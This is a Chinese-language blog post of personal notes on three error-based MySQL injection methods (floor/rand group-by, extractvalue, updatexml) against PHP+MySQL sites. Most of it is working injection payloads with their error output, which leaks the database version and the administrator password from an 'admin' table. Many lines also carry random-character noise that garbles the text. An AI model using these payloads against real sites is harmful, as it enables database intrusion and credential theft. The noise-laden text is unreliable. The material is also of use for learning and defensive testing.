关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
. @4 d# u3 C/ B9 b7 z实际测试环境：
2 t. x# n/ A4 v​
8 |1 O) p: ?2 Z/ Q+ y, v! R
+ L5 Z' p" p  F/ u! \; w1 Vmysql> show tables;
+----------------+
4 M4 O- ^' v0 c# v| Tables_in_test |
' ?. m) B4 z$ G' _/ k9 Y6 T4 {& h+----------------+
| admin          |
5 V: d" Q2 e9 S8 `( X| article        |
+----------------+
7 m, l9 N- R4 V& u& ?! ?. ^
* c% G- J9 v5 m  a3 f0 ?

) U, N! P) x1 |; E4 P% Wmysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
5 J( _! m7 }+ ]. q9 l  y| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
2 j8 M/ e% R0 X| user  | varchar(50)      | NO   |     | NULL    |                |
1 j$ G% h6 G, W6 N; z) O| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+


, Q9 B" V- D7 O% s, r
- I4 i8 E$ b6 ~mysql> describe article;
) s5 s" G1 k9 S1 ~8 a; B+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+ Q5 A9 L8 ~& J- _, a( H! b6 o+---------+------------------+------+-----+---------+----------------+
) c1 c+ [$ l# R| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
% W' ]# i  w& J4 e; W$ i| content | varchar(50)      | NO   |     | NULL    |                |
9 ]- n7 w) A8 l" n; J8 q+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
可以通过如下一些利用代码
6 I& c* R5 @6 f: q

8 F7 Y7 F. B7 T4 oand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
8 M' |+ e. o0 E, Y! t9 X) U  yfrom information_schema.tables group by x)a);


and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
; I- F4 V$ B- s6 @# Y举例如下：
# ^2 [% m! v" _8 @0 N- e* h$ W- o: j1 C( z首先进行正常查询：
6 E9 L6 ^! I6 ~
mysql> select * from article where id = 1;
+----+-------+---------+
# [3 A6 z. N$ I% `# O) G| id | title | content |
+----+-------+---------+
|  1 | test  | do it   |
+----+-------+---------+
1 M) R, P3 \4 o( \假如id输入存在注入的话，可以通过如下语句进行报错。


' F' }4 O! \+ ^- ]mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
! E, [0 Z. D2 |$ u% gERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
/ I) M& e1 ~  ?. ]- p" Z- V( s! g: [4 d$ VMethod1:
4 `, z! Z1 C6 ^' y( j+ t
9 ]: S% R" o; w. E1 g  }
mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
% {, R7 N5 C4 A; o& v9 ~$ jERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
7 D5 G5 `. Q/ {$ D3 S0 YMethod2:
  H* g+ U5 [( J5 H; u. @# s9 ]) Z

mysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
" k7 Q" D6 g- I% c; ffloor(rand(0)*2)));
- F$ ]( D: @; u' d" a3 UERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
测试语句如下

, V/ o/ s+ `, Y
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
9 E5 E9 _* l* ]8 F% ~$ j' Y  l4 Z实际测试过程

8 d  L5 c" ^) K9 v7 W
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
, v/ U) z( G1 E  C' s2 TERROR 1105 (HY000): XPATH syntax error: '\admin888'
. }5 K3 ~8 i) ?$ C# u( ]% _4 ^3、UpdateXml
测试语句


and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程
+ b' S  T( ]; u6 P4 H6 _
1 `0 }5 ~: f) W# ?0 {/ N0 e
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.

6 b5 u& L5 O3 I$ U/ b8 e% m​
9 X$ j: E- U& c" A; O. i: J5 K- x